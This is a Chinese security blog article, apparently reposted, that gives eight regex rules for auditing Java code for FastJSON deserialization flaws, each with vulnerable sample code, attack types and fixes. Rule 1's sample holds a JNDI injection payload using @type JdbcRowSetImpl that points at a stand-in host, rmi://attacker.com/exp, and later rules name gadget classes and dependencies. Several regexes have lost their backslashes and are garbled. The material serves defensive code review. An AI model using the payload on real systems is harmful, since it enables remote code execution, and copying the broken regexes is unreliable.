全网最全!FastJSON 静态规则图鉴,写了就能查!

admin 2025年4月25日09:34:23评论1 views字数 3635阅读12分7秒阅读模式

🧠 FastJSON 静态代码分析规则大全

🎯 在审计时如何快速定位关键位置,可以使用下面的正则来查询,适用于 Java 代码安全审计场景,辅助你快速检测

✅ 1:检测是否显式开启 AutoType

🎯 正则

ParserConfig.getGlobalInstance().setAutoTypeSupports*(s*trues*)
描述
显式开启 AutoType,FastJSON 将允许任意类的反序列化
危害
攻击者可传入 @type 加载任意类,如 TemplatesImpl 执行命令
建议
永远不要设置为 true,并增加 addDeny 白名单限制

📜 示例代码

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);String json = "{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://attacker.com/exp","autoCommit":true}"//传入的Json数据Object obj = JSON.parse(json);

❗ 漏洞解释

开启 AutoType 后,攻击者可使用 @type 指定任意类,加载 Gadget 对象执行命令。如 JdbcRowSetImpl 自动连接外部 JNDI。

🛠 修复建议

  • 禁止使用 setAutoTypeSupport(true)
  • 配合 addDeny() 明确封禁危险类

💥 攻击方式

  • 远程命令执行(JNDI 注入、BCEL 等类加载)

✅ 规则 2:宽松的全局类白名单

🎯  正则

ParserConfig.getGlobalInstance().addAccepts*(s*".*"s*)
描述
放开某个包前缀的类名白名单限制
危害
攻击者可以构造这个包下的 Gadget 类,导致远程代码执行
建议
严格限制白名单类(建议不放开通配符,仅允许特定类)

📜 示例代码

ParserConfig.getGlobalInstance().addAccept("com.example.");

❗ 漏洞解释

若 com.example 包中存在如 com.example.TemplateExploit 实现了危险接口,攻击者可指定该类执行逻辑。

🛠 修复建议

  • 精确到类名添加白名单,禁止通配符或包级别放行
  • 建议白名单在无攻击面的类中设定(如 DTO)

💥 攻击方式

  • 上传恶意类或利用现有类构造执行链

✅ 规则 3:使用 JSON.parse() 接收外部输入

🎯 正则

JSON.parses*(s*.*request.*)JSON.parses*(s*.*getParameter.*)
描述
未指定目标类型的解析方式,会尝试识别 @type 类型注入
危害
容易被用作反序列化入口,配合 Gadget 可远程执行
建议
使用 parseObject(json, Class) 明确目标类以限制行为

📜 示例代码

String json = request.getParameter("data");Object obj = JSON.parse(json);

❗ 漏洞解释

JSON.parse() 未指定目标类,默认开启自动类型识别,允许传入 @type 段,反序列化任意对象。

🛠 修复建议

  • 改为 JSON.parseObject(json, SafeClass.class)
  • 或使用 ObjectMapper 替代,限制模型

💥  攻击方式

  • 利用 @type 注入构造 Gadget
  • 结合通用类(TemplatesImpl、JdbcRowSetImpl)命令执行

✅ 规则 4:反序列化数据后又调用 JSON.parse

🎯 正则

JSON.parses*(s*JSON.parse.*)
描述
JSON 解析两次,攻击者可以构造嵌套类型绕过第一层
危害
可绕过过滤、二次打链,常见于复杂 JSON 的接收逻辑
建议
禁止二次反序列化,应解析后立即绑定类处理

📜 示例代码

String rawJson = request.getParameter("payload");String innerJson = (String) JSON.parse(rawJson);Object obj = JSON.parse(innerJson);

❗ 漏洞解释

攻击者可构造两层嵌套 JSON,例如首层包裹恶意对象,绕过第一层检查,第二层触发执行。

🛠 修复建议

  • 禁止嵌套 JSON 的自动解析

💥  攻击方式

  • 绕过 WAF 或白名单
  • 二次触发执行链

✅ 规则 5:Controller 层使用 Object 接收 JSON

🎯  正则

public .*Controller.*(.*@RequestBodys+Objects+w+.*)
描述
接口参数类型过泛,FastJSON 会自动类型推断
危害
攻击者传入恶意 @type 可导致构造危险对象
建议
接口层必须明确声明数据模型类,不允许使用 Object 接收外部数据

📜 示例代码

@PostMapping("/api/parse")publicvoidparseJson(@RequestBody Object data){    log.info(data.toString());}

❗ 漏洞解释

未指定数据模型,FastJSON 会使用默认解析器,支持 @type 注入,触发反序列化。

🛠 修复建议

  • 明确指定 POJO 类型,拒绝使用 Object
  • 加入全局反序列化校验(如白名单过滤器)

💥 攻击方式

  • 利用 FastJSON 自动识别执行恶意类型

触发FastJSON的具体原理分析 👉 Spring MVC + FastJSON:反序列化攻击是怎么一步步发生的?

✅ 规则 6:反序列化对象未进行安全校验即转发/写入中间件

🎯 正则

JSON.parse.*(Kafka|Redis|Rabbit|HttpClient)
描述
反序列化对象未进行类型/数据校验即被发送至其他系统
危害
可导致其他服务或中间件触发反序列化
建议
所有接收/处理反序列化对象的组件需增加前置校验(白名单 + 校验签名)

📜 示例代码

String json = request.getParameter("payload");Object data = JSON.parse(json);kafkaTemplate.send("topic", data);

❗ 漏洞解释

未经校验的数据被写入中间件,可能在消费端触发危险类实例化。

🛠 修复建议

  • 严格校验数据模型结构
  • 禁止转发任意 Object 到 MQ、缓存等

💥  攻击方式

  • 延迟执行,利用 Kafka、Redis 消费端打点

具体实例分析 👉 FastJSON + MQ 实现反序列化漏洞攻击链

✅ 规则 7:项目中引用了高危依赖组件

🎯 正则

可结合 Maven 项目依赖分析:

Windows: mvn dependency:tree | findstr "commons-collections bcel groovy rhino xalan spring-core"Linux: mvn dependency:tree | grep -E "commons-collections|bcel|groovy|rhino|xalan|spring-core"
描述
项目中引入了 Gadget 链中常见的高危组件
危害
即使 FastJSON 安全,只要解析到了这些类,也可能执行命令
建议
替换或升级依赖版本,移除非必要组件,配合类黑名单限制反序列化类加载

📜 查询示例

全网最全!FastJSON 静态规则图鉴,写了就能查!

❗ 漏洞解释

攻击者利用 FastJSON 加载这些类触发反射逻辑(如 InvokerTransformer),构造完整 Gadget 链。

🛠 修复建议

  • 移除不必要组件,升级至无 Gadget 版本
  • 搭配 addDeny() 限制危险类

💥  攻击方式

  • 利用 CC 链、Xalan、Groovy 等执行表达式

✅ 规则 8:调用 addDeny() 黑名单设置不完整

🎯 正则

ParserConfig.getGlobalInstance().addDenys*(s*".*"s*)
描述
开发者手动设置了黑名单,但名单不完整或有误
危害
攻击者可以绕过限制,加载未封禁的危险类
建议
使用 FastJSON 官方默认黑名单,并结合实际情况补充

📜 示例代码

ParserConfig.getGlobalInstance().addDeny("org.apache.commons.collections.");

❗ 漏洞解释

虽然加入了部分黑名单,但若缺少如 org.apache.xalan.com.sun.org.apache.xalan. 等路径,依旧可能被绕过。

🛠 修复建议

  • 使用 FastJSON 内置的完整黑名单
  • 并根据业务需求添加其他内容

💥  攻击方式

  • 利用绕过类路径调用旧链

📌 总结

维度
建议
接口设计
不使用 Object 接收,避免泛解析
配置项
不开启 autoTypeSupport,合理使用 addDeny()
依赖管理
移除高危类链组件(如 CC、Xalan)
审计辅助
配合 SAST + 黑盒测试验证 Gadget 是否可控
运维层面
使用安全网关过滤 @type 字段及 JNDI 字符串

原文始发于微信公众号(季升安全):全网最全!FastJSON 静态规则图鉴,写了就能查!

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月25日09:34:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   全网最全!FastJSON 静态规则图鉴,写了就能查!https://cn-sec.com/archives/3997884.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息